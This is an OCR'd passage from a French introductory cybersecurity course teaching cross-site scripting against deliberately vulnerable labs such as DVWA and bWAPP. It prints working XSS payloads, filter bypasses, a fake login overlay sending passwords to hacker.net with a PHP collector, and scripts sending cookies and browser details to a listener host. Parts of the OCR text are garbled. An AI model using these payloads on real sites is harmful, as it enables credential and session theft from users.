Pragma: no-cache

Content-Length: 5292

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html;charset=utf-8

test<br />Message: This is a test comment.<br /></div>
/>Message: Mon message<br /></div>
/>Message: Un simple message !<br /></div>
ne: <body onlecad=;a x:document};;;isisis_=al.x;_.write(l);;;:<br />Message: Un simple message !<br /></div>
: Kbodyonlcad=al={XithisTparentidocument ;aliswriteln(I)33<br />Message: Un simple message !<br /></div>

localhost indique

9
Name: ";I--"alert(0).=
Message: Un simple message !

Name: alert(1)
Message: Un simple message !

Name:
MOVE MOUSE OVER THIS AREA
Message: Un simple message !

En actualisant le navigateur, la liste
Name: "1--"= de tous les payloads s’affiche dans
Message: Un simple message ! le guestbook, ce qui nous permet de
découvrir d’autres charges utiles
fonctionnelles !

SIOCISIC,
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Découvrir automatiquement des failles XSS avec ZAP (2)

99:

Nous pouvons reprendre la technique du chapitre précédent avec la page XSS réfléchi

de DVWA :

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name? |

|| Submit |

Hello max

Nous interceptons la requéte (ici la requéte 48) :

[= Historique

@ ®

Id Source
31 «=* Proxy
32 «=* Proxy
33 «=* Proxy
35 «=* Proxy
36 «=* Proxy
37 <=+ Proxy
38 «=* Proxy
39 «=* Proxy
40 = Proxy
41 &= Proxy
44 «=* Proxy
45 «=* Proxy
46 «=* Proxy
47 «=* Proxy
48 «=* Proxy
49 = Proxy
50 <= Proxy

'~ Rechercher

|/ Filtre: OFF ¢ Exporter

Timestamp de req.
4/01/23 23:01:00
4/01/23 23:01:00
4/01/23 23:01:02
4/01/23 23:01:02
4/01/23 23:01:02
4/01/23 23:01:05
4/01/23 23:01:05
4/01/23 23:01:05
4/01/23 23:01:05
4/01/23 23:01:07
4/01/23 23:01:07
4/01/23 23:01:07
4/01/23 23:01:07
4/01/23 23:01:08
4/01/23 23:01:18
4/01/23 23:.01:18
4/01/23 23:01:19

[0 Alertes

Méthode

GET
GET
GET
GET
GET
POST
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET

| Sortie

A WebSockets e

URL

https://content-autofill.googleapis.comivl/page...
https://content-autofill.googleapis.comivl/page...
http:/localhost/security.php
https://content-autofill.googleapis.comiv1/page...
https://content-autofill. googleapis.comiv1/page...
hitp:/localhost/security.php
http:/Mocalhost/security.php
https://content-autofill.googleapis.comivl/page...
https://content-autofill. googleapis.comivl/page...
http:/Mocalhostivulnerabilities/xss_r/
http:/Mocalhost/dvwaljs/add_event_listeners.js
https://content-autofill. googleapis.comivl/page...
https://content-autofill. googleapis.comiv1/page...
https://content-autofill.googleapis.comivl/page...
http:/localhostivulnerabilities/xss_r/?name=max
https:/icontent-autofill.googleapis.comivl/page...
https://content-autofill.googleapis.comivi/page...

Code

200 OK
200 OK
200 OK
200 OK
200 OK
302 Found
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK

Raison

RTT

110 ms
110 ms
19ms
102 ms
101 ms
6ms

6ms

95 ms
110 ms
32ms
4ms

97 ms
95 ms
94 ms
44ms
95 ms
116 ms

Taille du corps ¢
28 octets
112 octets
5283 octets
28 octets
112 octets
0 octets
5361 octets
28 octets
112 octets
4233 octets
593 octets
16 octets
28 octets
112 octets
4253 octets
28 octets
112 octets

— GET http://localhost/vulnerabilities/xss_r/?name=max HTTP/1.1

Nous sélectionnons, comme précédemment le contenu du paramétre GET "name" (on

sélectionne donc ici le mot max) puis, comme au chapitre précédent :

4

>
>
>
>
4

On clique droit : Générer du bruit

On clique sur Payload puis sur Ajouter

On clique sur Fichiers Fuzzers puis sur jbrofuzz
On déroule jusqu’a I'option XSS et je décoche ASP .NET et MS Anti-XSS
On clique sur Ajouter

On clique sur OK puis enfin sur Démarrer le Fuzzer

OO
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100:

= Historique 4 Rechercher [ Alertes Sortie A% WebSockets 4 Générateur de bruit # &
= Pr ion: 0: HTTP - hitp:/localho. xss_r/?name=max v
Messages Envoyés: 140 Errors: 0 L
TaskID Message Type  Code Raison RTT Taille de l'en-t..  Taille du corps de rép. Etat

21 Fuzzed 200 OK 137 ms 376 octets 4 275 octets <fitle=<script=alert(1)</script=
22 Fuzzed 200 OK 141ms 376 octets 4276 octets <<script-alert(’xss”);/=<</script>
23 Fuzzed 200 OK 144 ms 376 octets 4253 octets ./ Réfléchi ="
24 Fuzzed 200 OK 138 ms 376 octets 4 263 octets "1="<X88>=&{()}
25 Fuzzed 200 OK 124 ms 376 octets 4 286 octets . Réfléchi */a=eval;b=alert;a(b(/e/.source));*
26 Fuzzed 200 OK 98 ms 376 octets 4301 octets Réfléchi
27 Fuzzed 200 OK 72ms 376 octets 4298 octets . Réfléchi
28 Fuzzed 200 OK 41ms 376 octets 4 305 octets
29 Fuzzed 200 OK 69 ms 376 octets 4 348 octets  Réfléchi
30 Fuzzed 200 OK 94 ms 376 octets 4298 octets . Réfléchi
31 Fuzed 200 OK 126 ms 376 octets 4 266 octets

</ Générateurs de bruits actuels: 0

Charges utiles

"%uff1cscript¥uffiealert(XSS)%uff1c/scriptdouffie’

<SCRIPT SRC=http://ha.ckers.orgixss js></SCRIPT=
%26%2339);x=alertx(%26%2340 finally throughl/.source %26%2341),//
</noscript=<br=<code onmouseover=a=eval;b=alert;a(b(/h/.source));>MOVE I
<IFRAME SRC="javascript.alert(XSS’),"></IFRAME>

<BODY onload#$%&()*~+-_..;?@[/IW" =alert(’XSS")>

Je teste un des payloads

d’adresse du navigateur :

découverts par le fuzzer en l'introduisant dans la barre

<IFRAME SRC="javascript:alert('XSS’);"></IFRAME>

localhost,

localhost indique

XSS

Nous avons a nouveau

SIOISIC)

notre PoC (Proof of Concept) !

© m@x
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101:
XSS basé sur le DOM avec DVWA

Affichons la page de DVWA consacrée au XSS basé sur le DOM :

Vulnerability: DOM Based Cross Site Scripting (XSS)

Please choose a language:

[English v || Select |

Cliquons sur Select aprés avoir choisi une langue (ici : I’anglais) et observons 'URL

dans la barre d’adresse :
https:/llocalhost/vulnerabilities/xss_d/?default=English

En consultant le code source de la page, nous constatons que la fonction
document.write() est utilisée pour écrire les valeurs dans le menu déroulant. Si nous
choisissons une langue, cette derniére apparaitra comme paramétre dans I’'URL et la
variable lang du script JavaScript récupérera ce paramétre GET pour afficher dans le

menu la valeur du langage sélectionné :

<script>

if (document.location.href.indexOf("default=") >= 0) {

var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value="" + lang + "'>" + decodeURI(lang) + "</option>");

document.write("<option value=" disabled="disabled">----</option>");

}

document.write("<option value="English’>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

</script>

2989



Introduction a la cybersécurité / Le monde du web

102:

Tentons maintenant avec la sécurité placée sur LOW d’injecter un payload simple dans

la barre d’adresse de la page :
https://localhost/vulnerabilities/xss_d/?default=English<script>alert(document.cookie)</script>

Nous obtenons bien le résultat escompté et le contenu du cookie s’affiche :

localhost indique

PHPSESSID=0jgh806r9ikrdhd2504j1ududef security=low |

Si on place la sécurité sur HIGH, le payload précédent ne fonctionne plus : on peut

probablement imputer cela a un filtre coté serveur. Pour contourner ce filtre, nous
pouvons tenter I'utilisation d’'une astuce : nous allons placer le caractére # devant le
payload. Ainsi, ce qui suit sera considéré comme une ancre HTML. La particularité des
ancres est qu’elles ne sont pas envoyées au serveur mais qu’elles sont uniquement
traitées au niveau du client. Le filtre serveur devient donc inopérant et notre attaque est

a nouveau couronnée de réussite :

https://localhost/vulnerabilities/xss_d/?default=English#<script>alert(document.cookie)</script>

!

localhost indique

PHPSESSID=0jgh806r9ikrdhd2594j1u9ude; security=high

Il faut bien comprendre que cette technique est fonctionnelle méme si le filtre c6té

serveur est infaillible puisque I'ancre reste opportunément du coté client.

Il faut particulierement surveiller, dans le cadre du XSS basé sur le DOM, les

dangereuses méthodes element.innerHTML = "..." et document.write("...")
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103:
Exploiter une vulnérabilité XSS via les en-tétes HTTP

Imaginons deux pages web qui utilisent les en-tétes HTTP dans la page dynamique qu’elles
renvoient au navigateur du client :

= La premiére page affiche le type de navigateur utilisé par le visiteur en se basant
sur I’en-téte User-Agent

/ XSS - Reflected (User-Agent) /

Your User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

= La deuxiéme page affiche I'adresse de la page précédente depuis laquelle la

requéte courante a été réalisée, en se basant sur I'’en-téte Referer

/ XSS - Reflected (Referer) /

The referer: hitp://192.168.56. 115/bWAPP/commandi.php

Imaginons qu’aucune validation ne soit exercée sur ces valeurs. Il va dés lors étre possible

d’injecter notre code malveillant dans les en-tétes des requétes correspondantes grace au
proxy intercepteur Burp :

Burp Suite Community Edition v2020.5 - Temporary Project
Burp Project Intruder Repeater Window Help

Dashboard | Target [ intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options |

| [[3tree01 [ HTTP history | WebSockets history | Options |

& Request to http://192.168.56.115:80

[ Forward | orop | [Tinterceptis on Action "10)
Raw | Params | Headers | Hex

1 GET /bWAPP/xss_user_agent.php HTTP/1.1

2 Host: 192.168.56.115

5 User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
4 Accept: text/html,application/xhtml+xml;application/xnl;q=0.9,*/%;q=0.8

S Accept-Language: fr-BE

6 Accept-Encoding: gzip, deflate

7 Referer: http://192.168.56.115/bWAPP/xss_referer.php

8 Connection: close

9 Cookie: security_level=0; PHPSESSID=jcurléngj6saldpls7pocko942; acopendivids=swingset,jotto,phpbb2, redmine; acgroupswithpersist=nada
0 Upgrade-Insecure-Requests: 1
1

T

<"

Q8 (<))

2989
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14

Exemple avec I'’en-téte User-Agent :

=

AV SsWN

o~

)y D

12

GET /bWAPP/xss_user_agent.php HTTP/1.1

Host: 192,168.56.115

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68,0
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,%/%;q=0.8
Accept-Language: fr-BE

Accept-Encoding: gzip, deflate

Referer: http://192,168.56.115/bWAPP/phpi.php

Connection: close

Cookie: security_level=0; PHPSESSID=jcurléngj6saldpls7pocko942; acopendivids=swingset.

0 Upgrade-Insecure-Requests: 1

v

auvswN -

~

10
11
12

GET /bWAPP/xss_user_agent.php HTTP/1.1

Host: 192.168.56.115

User-Agent: <svg onload="alert('Hacked !')">

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: fr-BE

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.115/bWAPP/phpi.php

Connection: close

9 Cookie: security_level=0; PHPSESSID=jcurléngj6saldpls7pocko942; acopendivids=swingset

Upgrade-Insecure-Requests: 1

Hacked !

Réussite de notre attaque.

Vous pouvez facilement faire la méme attaque avec I’en-téte Referer (si bien sir son

contenu est utilisé dans I'affichage de la page dynamique renvoyée par le serveur, et

qu’il n’y a pas eu de validation.
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Dérober avec XSS le mot de passe d’'un utilisateur connecté

Soit un utilisateur connecté a son site favori. |l existe une vulnérabilité XSS sur la page de
commentaires du site. Nous allons donc laisser un message malicieux (XSS stocké) qui va
tenter de dérober les mots de passe de tous les utilisateurs du site qui visitent cette page et
nous envoyer ces données sur notre serveur ou elles seront enregistrées dans un fichier. Le
code malicieux sera ici un peu plus complexe que le traditionnel

<script>alert("XSS");</script> :

Code a coller dans le champ du formulaire vulnérable a la faille XSS

<div id="login" style="position:absolute;top:50%:;left:50%;margin-right:-
50%;transform:translate(-50%,-50%);z-index: 1;overflow:auto;padding: 10px;border:1px
solid #888;width:400px;height:200px;background-color:#E3E3E3;font-
family:sansserif;"><form method="POST"
action="http://hacker.net/listener.php"><p>Votre session a expir&eacute;, veuillez
vous reconnecter :<br /><br /></p><input type="text" name="username" size="20"/>:
Nom d'utilisateur<br /><br /><input type="password" name="password" size="20" /> :
Mot de passe<br /><br /><input type= "submit" value="Connexion"
/>&nbsp;&nbsp;<input type="reset"
onclick="document.getElementByld('login').style.display="none";"

value="Annuler"/></form></div>

La fenétre suivante s’affichera alors par-dessus la page vulnérable :

Votre session a expiré, veuillez vous reconnecter :

: Nom d'utilisateur

: Mot de passe

Connexion | | Annuler
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106:

Il est raisonnable de penser que beaucoup d'utilisateurs se croiront déconnectés et

réintroduiront sans réfléchir leur mot de passe.

Ce mot de passe sera récupéré par le script basique ci-dessous (http://hacker.net/listener.php)

et sera enregistré dans un fichier texte sur le serveur du pirate (http://hacker.net/listener.txt) :

1 <?php

2

3v if(isset($_POST['username']) && isset($_POST['password'])){

4

5 $content= $_POST['username'] . " ——> " ., $§ POST['password'] ;

6 file_put_contents('listener.txt', $content . PHP_EOL, FILE_APPEND);
7

8 $content= "(" . date('Y-m-d H:iis') . " - " ., "$ SERVER[REMOTE_ADDR])";
9 file_put_contents('listener.txt', $content . PHP_EOL, FILE_APPEND);
10

11 Secontents M T T i

12 file_put_contents('listener.txt', $content . PHP_EOL, FILE_APPEND);
13

14 header('Location: http://site-vulnerable.com');

15 1}

16

17 2>

Voici un exemple d’enregistrement obtenu par notre script :

)

Fichier Edition Format Affichage Aide

robert ---> secretl985

(2021-09-25 17:58:03 - 172.107.93.213)
sophie ---> 12345678

(2021-09-25 17:58:22 - 162.12.206.6)

paul9l ---> messi2©05
(2021-09-25 17:59:20 - 103.107.197.5)

On y voit le nom d'utilisateur, le mot de passe, la date et 'adresse IP de la victime piégée.
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Détecter une vulnérabilité Blind XSS avec XSS Hunter

Une vulnérabilité Blind XSS est une vulnérabilité XSS persistante (stockée) pour laquelle

I'attaquant ignore ou l'information est stockée et quand le code malicieux sera exécuté.

Pour notre démonstration, nous allons utiliser deux sites :

= Un site volontairement vulnérable : testphp.vulnweb.com

= Le site XSS Hunter (ce site est aujourd’hui obsoléte !)

|@®@@|

] M acunetix

home | categories

search art
ss:ht></script>| | go
Browse categories
Browse artists
Your cart

Signup

Your profile

Our guestbook
AJAX Demo

Links

Security art
PHP scanner
PHP vuin help
Fractal Explorer

Acunetix Web Vulnerability Scanner

artists = disclaimer | your cart = guestbook | AJAX Demo

welcome to our page

Test site for Acunetix WVS.

About Us | Privacy Policy | Contact Us | Shop | HTTP Parameter Pollution

Warning: This is not a real shop. This is an example PHP application, which is intentionally vulnerable to web
attacks. Itis intended to help you test Acunetix. It also helps you understand how developer errors and bad
configuration may let someone break into your website. You can use it to test other tools and your manual hacking
skills as well. Tip: Look for potential SQL Injections, Cross-site Scripting (XSS), and Cross-site Request Forgery

(CSRF), and more.

[ testphp.vulnweb.com ]

If this is how you hunt for Cross-Site Scripting (XSS)...

.org/Talk/Details/1

Design Driven Development

by Martin C. Robert

This talk is about how to design your code before writing a single line. This is the only correct way to build
software

Comments

Add comment

<img srcx
e il Preview of comment

Bug Bounty Hunter says:

Name
Bug Bounty Hunter
Submit

Preview comment

Ancien site
https://xsshunter.com/
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Aprés s’étre enregistré sur XSS hunter, choisissons un payload :

@1mMandatory

Due to the highlevel of abusenralic For thi XS5 Hunler users. -enabled
‘email rotifications, however itis self-hosted. For those not farmiliac L
huncer.cen fOrye Thanks 5

ty i ¥ ¥

§rirrandatory

x5 Eires Qcollected Pages # payioads

<script> Tag Payload - Ba

<script sec=https:/munt

@ Copy Peyload to Clpboard

ipt: URIPayload - For use where RIS are taken a5 Inpur.

Jav

Ja wal(var a=document creates) Jihuntar2022.xss.tv:document.body appendChildiay)

@ Copy Payload to Clipboard

<input> Tag Payload - for bypassing poorly designed blackiist systems.

S52cMMSIMhOdHBZOIBVAHVUGON) UaHQIOZRVY3VIZWSOLMIVZHKUYXBWZWS) oYK7 autofoct

><input onfocus=eval(atobithis.id]) id=dmFyIGESZGS|aW1 IbAQUYJJIVXRIR

@ Copy Payload to Clipboard

<ings Tag Payload - Another basic p,

img srcex i AmEYIGEIZGSHAW MMIIMhOGHBZOBYHVUADNYMIAYMISAcIMUAHQIOZRVYIVEZWSOLMIVZHKUYXBWZWSKQZhpbGQoYSK? onerror-evakatobithis.id)>

& Copy Payload to Clipboard

Collons-le dans la boite de recherche du site vulnérable :

Acunetix Web Vulnerability Sca
home | categories | artists = disclaimer | your cart | gue

search art welcome to our page

= Test site for Acunetix WVS.
Browse categones

Browse artists

L’attaque XSS fructueuse (qui aurait pu étre blind) est bien enregistrée par XSS Hunter

(section XSS Fires) et donne lieu a un rapport :

i abusedratric ervices, For w y XS5 Hunier users. | owever ILis self-hosted. Fur those not famitar
wsshanter ceo foF yoUF @mall provider. Thanks

0 XS5 Fires Q Collected Poges # Payloads  Settings

XS5 Payioad fires

Thumbnail Victim 1P Vulnerable Page URI options

. - ‘ ‘ ——TTE——
i @ Resend Fmal Report

tempmail

XSS Hunter Report

This report has been generated by an XSS Hunter server and contains the details of a cross-site scripting vulnerability. The tracking ID for this repart is 6¢ba2es00ac e66c25250060263230509

Vulnerable Page URL

hitp:i/testohpvulaweb.com/search, pho?test=query

User IP Address

85273180

Referer

SIOCISIC,

108:
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Obtenir un shell reverse grace a une vulnérabilité XSS

Lancons un listener (nc -lvp 1234) sur Kali. Affichons ensuite la page de DVWA
consacrée au XSS réfléchi (sécurité : LOW) et entrons dans le champ du formulaire le

code suivant :
<script>new Image().src="http://192.168.56.139:1234?out="+document.cookie;</script>

Ce code inhabituel va créer un shell reverse avec Kali : la fonction new Image() va tenter
de charger une image a I’adresse spécifiée que nous avons opportunément remplacée

par 'URL du serveur distant.

Le résultat est immédiat sur Kali :

— )=~

—$ nc -lvp 1234

listening on [any] 1234 ...

192.168.56.139: inverse host lookup failed: Host name lookup failure

connect to [192.168.56.139] from (UNKNOWN) [192.168.56.139] 34796

sl GET /?out=security=Llow;%20PHPSESSID=uf7ikj8e5vasmgpeqparvr03al;%20acopendivids=swingset,
tto,phpbb2,redmine;%20acgroupswithpersist=nada HTTP/1.1

Host: 192.168.56.139:1234

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Referer: http://192.168.56.140/

—> GET
I?out=security=low;%20PHPSESSID=uf7ikj8e5vasmgpeqparvr03al;%20acopendivids=
swingset,tto,phpbb2,redmine;%20acgroupswithpersist=nada HTTP/1.1

Nous avons dérobé avec succes le cookie de session de I'utilisateur connecté :
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Résumons les attaques principales permises grace a XSS

(elles seront testées sur la page du XSS réfléchi de DVWA)

Défacement de site

<script> var texte="Ce site est victime d'un hacker !";

document.getElementsByTagName("h1")[0].innerHTML = texte; </script>

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

‘ | submit |

Ce site est victime d'un hacker !

What's your name?

i || Submit |

Hello

Ingénierie sociale (1)

<script>var texte=document.createElement("h2");
texte.innerHTML="Message de I'administrateur - Veuillez m'appeler au xxx-xxx-xxx pour
réinitialiser votre mot de passe";
document.forms[0].parentNode.appendChild(texte);
document.forms[0].parentNode.removeChild(document.forms[0]);</script>

Vulnerability: Reflected Cross Site Scripting (XSS)

Hello

Messa%e de I'administrateur - Vguillez m'appeler au Xxx-xxx-
XXX pour réinitialiser votre mot de passe
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Ingénierie sociale (2)
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<script>document.forms[0].parentNode.removeChild(document.forms[0]);</script>
<form action="http://192.168.56.139:1234">
Nom d'utilisateur: <br /><input type="username" name="username"><br />
Mot de passe: <br /><input type="password" name="password"><br />
<br /><input type="submit" value="Connexion"><br />

</form>

Vulnerability: Reflected Cross Site Scripting (XSS)

Hello
_Nom d'utilisateur:

ertiderpasse:

| Connexion |

= )-[~/Desktop |

. vp 1234

listening on [any] 1234 ...

192.168.56.139: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.139] from (UNKNOWN) [192.168.56.139] 41780
GET /?username=max&password=motsecret HTTP/1.1

Host: 192.168.56.139:1234

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web
P,y*/%;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Referer: http://192.168.56.140/

Upgrade-Insecure-Requests: 1

L’identifiant capturé dans cet exemple est :
Nom d’utilisateur : max

Mot de passe : motsecret
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Vol du cookie de session

PoC (Proof of Concept) :

<script>alert(document.cookie);</script>

@ 192.168.56.140

security=low; PHPSESSID=itll8nu55fht2jo7hvvdakrks2;
acopendivids=swingset,jotto,phpbb2,redmine;
acgroupswithpersist=nada

Vol réel :

<script>new Image().src="http://192.168.56.139:1234?cookie= "+document.cookie;</script>

C

[~/Desktop]

http.server —- 192.168.56.139 1234
Serving HTTP on 192.168.56.139 port 1234 (http://192.168.56.139:1234/) ...
192.168.56.139 - - [06/Jan/2023 03:29:34] "GET /?cookie=%20security=low;%20PHPSESSID=itl
18nu55fht2jo7hvvdakrks2;%20acopendivids=swingset, jotto,phpbb2,redmine;%20acgroupswithper
sist=nada HTTP/1.1" 200 -

Le cookie est : PHPSESSID=itlI8nu55fht2jo7hvvdakrks2

Réaliser une connexion avec la victime

Pour réaliser une connexion avec la victime comme ci-dessus, il faut lancer un
listener, par exemple sur le port 1234, sur la machine de [Pattaquant (ici:
192.168.56.139). Cela peut se faire de trois fagons :

= Avec netcat : nc -lvp 1234
= Avec Python2 (obsoléte) : python -m SimpleHTTPServer 1234
r = Avec Python3 : python -m http.server --bind 192.168.56.139 1234

Par défaut, le serveur se lie a toutes les interfaces. L'option -b/--bind spécifie une adresse
spécifique a laquelle il doit se lier. Les adresses IPv4 et IPv6 sont prises en charge.
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Informations sur la cible : le navigateur

<script>

new Image().src="http://192.168.56.139:1234?navigateur="+navigator.appVersion+"
"+navigator.userAgent;</script>

)-[~/Desktop |
n http.server —-bind 192.168.56.139 1234

Serv1ng HTTP on 192.168.56.139 port 1234 (http://192.168.56.139:1234/) ...
192.168.56.139 - - [06/Jan/2023 03:30:43] "GET /?navigateur=5.0%20(X11)%20%20Mozilla/5.0
%20(X11;%20L1inux%20x86_64;%20rv:102.0)%20Gecko/20100101%20Firefox/102.0 HTTP/1.1" 200 -

Dans cet exemple, la version du navigateur est :
5.0 (X11)
L’agent utilisateur est :

Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Informations sur la cible : le systéeme d’exploitation

<script>var 0S="0S non déterminé !";
if (navigator.appVersion.indexOf("Win")!=-1) OS="Windows";
if (navigator.appVersion.indexOf("Mac")!=-1) OS="MacOS";
if (navigator.appVersion.indexOf("X11")!=-1) OS="Unix";
if (navigator.appVersion.indexOf("Linux")!=-1) OS="Linux";

new Image().src="http://192.168.56.139:1234?0s="+0S;</script>

)-[~/Desktop |
n http.server —-bind 192.168.56.139 1234

Serv1ng HTTP on 192.168.56.139 port 1234 (http://192.168.56.139:1234/) ...
192.168.56.139 - - [06/Jan/2023 03:32:03] "GET /?0s=Unix HTTP/1.1" 200 -
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Capture de clic

114:

<script>function Capture() {location.href="http://192.168.56.140";}

document.body.addEventListener("click”,Capture,true);</script>

Tout clic sur la page génére une redirection vers le serveur 192.168.56.140 :

C @

Kali Linux @ KaliTools @ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

0 owaspbwa
OWASP Broken Web Applications Project
P
Version 1.2

This is the VM for the Open Web Application Security Project (OWASP) Broken Web Applications project. It contains many, very vulnerable web
applications, which are listed below. More information about this project can be found in the project User Guide and Home Page.

For details about the known vulnerabilities in these applications, see https:/sourceforge.net bwa/tickets/?limit=999&sort=_severity+asc.

11! This VM has many serious security issues. We strongly recommend

that you run it only on the "host only" or "NAT" network in the virtual
machine settings !!!

Dans un cas réel, la redirection se ferait, dans un but de phishing, vers
un site cloné (ingénierie sociale).

Modification de lien(s)

<script>var ancres=document.getElementsByTagName("a");
for (i=0;i<ancres.length;it++){ancres[i].href="https://www.google.com";

ancreslil.innerHTML="Nouveau lien";}</script>

Preer———— Vulnerability: Reflected Cross Site Scripting (XSS)

Momesibn. |
% What's your name?

Nouveau lien
Nouveau lien
Nouveau lien |

[Submit

Hello

—» Les liens ont été modifiés (on aurait pu n’en modifier qu’un seul !)
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XSS : contournement de certains filtres (1)

Soit un filtre qui interdit la balise <script> en minuscule ou en majuscule.

= il suffit parfois de simplement mélanger les lettres minuscules et
majuscules : on écrira, par exemple, <ScriPt> ... </sCRiPT>. On peut
aussi utiliser une autre balise comme <img src="xxx"

onerror=alert('XSS')> ou encore <body onload=alert("XSS')>.

Soit un filtre qui supprime toutes les occurrences du mot script, quelle que

soit la casse.

= il suffit parfois simplement de taper astucieusement
<scscriptript> ... </scscriptript>. Aprés exécution du filtre, il restera

bien : <script> ... </script>.

Soit un filtre qui interdit I'utilisation des balises HTML existantes

=> il suffit parfois d’utiliser une balise imaginaire (ex : <abc>) a laquelle on
attache un attribut bien réel. Par exemple, on peut écrire
<abc onfocus=alert("XSS") tabindex=1> cliquer ici </abc>. Il suffit alors
pour obtenir sa preuve de concept de cliquer sur I'occurrence de
cliquer ici et la boite alert() apparaitra. L’attribut tabindex utilisé dans
I'exemple ci-dessus informe le navigateur que I’élément HTML

concerné peut capturer le focus et réagira au clic.

Soit un filtre qui interdit une majorité de balises et d’attributs HTML.

= il suffit parfois, pour contourner le filtre, de se servir de I'intruder du
proxy intercepteur Burp pour soumettre a I’application, via I'onglet
payload, la liste de toutes les balises et de tous les attributs existants
pour éventuellement découvrir une balise et un attribut non filtrés. On
indiquera a Burp, via I’onglet position, a quelle place doivent étre
insérés les balises et attributs. On aura par exemple :
GET /.search=ma%20recherche HTTP/1.1 Burp découvre que
GET /.search=<$$> HTTP/1.1 — la balise non filtrée

_ — est la balise <body>.
GET /.search=<body%20$$> HTTP/1.1 On teste ensuite les

attributs.

X I

GloLe
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Contournement du filtre XSS n°4 avec I'intruder de Burp

116:

Liste des balises HTML a tester

a
a2
abbr
acronym
address
applet
area
article
aside
audio
audio2
b
bdi
bdo
big
blink
blockquote
body
br
button
canvas
caption
center
cite
code
col
colgroup
command
content
custom tags
data
datalist
dd
del
details
dfn
dialog
dir
div
dl
dt
element
em
embed
fieldset
figcaption
figure
font
footer
form
frame
frameset
h1

head
header
hgroup
hr
html
i
iframe
iframe2
image
img
input
input2
input3
input4
ins
kbd
keygen
label
legend
li
link
listing
main
map
mark
marquee
menu
menuitem
meta
meter
multicol
nav
nextid
nobr
noembed
noframes
noscript
object
ol
optgroup
option
output
o]
param
picture
plaintext
pre
progress
q
rb
p
rt
rtc

ruby
s
samp
script
section
select
shadow
slot
small
source
spacer
span
strike
strong
style
sub
summary
sup
svg
table
tbody
td
template
textarea
tfoot
th
thead
time
title
tr
track
tt
u
ul
var
video
video2
wbr
xmp

|@®@@|

onafterscriptexecute
onanimationcancel
onanimationend
onanimationiteration
onanimationstart
onbeforecopy
onbeforecut
onbeforeinput
onbeforescriptexecute
onblur
onclick
oncontextmenu
oncopy
oncut
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
onfocus
onfocusin
onfocusout
onkeydown
onkeypress
onkeyup
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onpaste
onpointerdown
onpointerenter
onpointerleave
onpointermove
onpointerout
onpointerover
onpointerrawupdate
onpointerup
ontransitioncancel
ontransitionend
ontransitionrun
ontransitionstart
onwebkitanimationend
onwebkitanimationiteration
onwebkitanimationstart
onwebkittransitionend

Liste des attributs HTML a tester
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XSS : contournement de certains filtres (2)

117:

<?php

/l Traitement du formulaire

if ($3_SERVER['"REQUEST_METHOD"] == "POST") {
$chaine = $_POST["filtre0"];

echo "<p>Voici ton input : $chaine !</p>";

?>

<script> alert('XSS basique’') ;</script>

XSS classique

<?php
/I Traitement du formulaire
if ($3_SERVER['"REQUEST_METHOD"] == "POST") {
$chaine = $_POST["filtre1"];
$chaine_sans_script = str_replace("script", "", $chaine); // filtre

echo "<p>Voici ton input : $chaine_sans_script !</p>";

?>

FILTRE 1

<sCripT> alert("XSS') ;</ScRipt>

<?php
/I Traitement du formulaire
if (3_SERVER["REQUEST_METHOD"] == "POST") {
$chaine = $_POST["filtre2");
$chaine = strtolower($chaine) ; // casse
$chaine_sans_script = str_replace("script", "", $chaine); // filtre
echo "<p>Voici ton input : $chaine_sans_script !</p>";

?>

<sscriptcript> alert('XSS') ;</sscriptcript>

FILTRE 2
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<?php
/l Traitement du formulaire
if (3_SERVER["REQUEST_METHOD"] == "POST") {
$chaine = $_POST["filtre3"];
$chaine = strtolower($chaine) ; // casse
$chaine = preg_replace('#<script.*?>.*?</script>#is', ", $chaine); // filtre

echo "<p>Voici ton input : $chaine !</p>";

}
?7>
<img src="invalid.jpg" onerror="alert("XSS via la balise IMG")">
FILTRE 3
<?php
/l Traitement du formulaire
if (3_SERVER["REQUEST_METHOD"] == "POST") {
$file_name = $ POST["filtre4"];
$image = '<img src="". $file_name . '">';
echo "<p>Voici I'image : <br /> $image </p>";
}
7>
chat.png" > <script> alert("XSS') ;</script>
ATTRIBUT H = ( ) £
DE BALISE
<?php

/I Traitement du formulaire

if (3_SERVER["REQUEST_METHOD"] == "POST") {
$chaine = htmlspecialchars($_POST["input"]); // sécurisation de I'entrée
echo "<p>Voici ton input : $chaine !</p>";

?>

INCONTOURNABLE

Aucun input ne fonctionnera ici !

(oK)



Introduction a la cybersécurité / Le monde du web

119:

Les injections XSS polyglottes (Polyglot XSS)

Les injections XSS polyglottes permettent :
= d’échapper aux attributs,
= d’échapper aux balises

=>» de contourner certains filtres.

Voici a quoi ressemble une injection XSS polyglotte :

jaVasCript:/x=/x"/x\"/x"/x"/xx/(/*x x/onerror=alert('XSS') )//
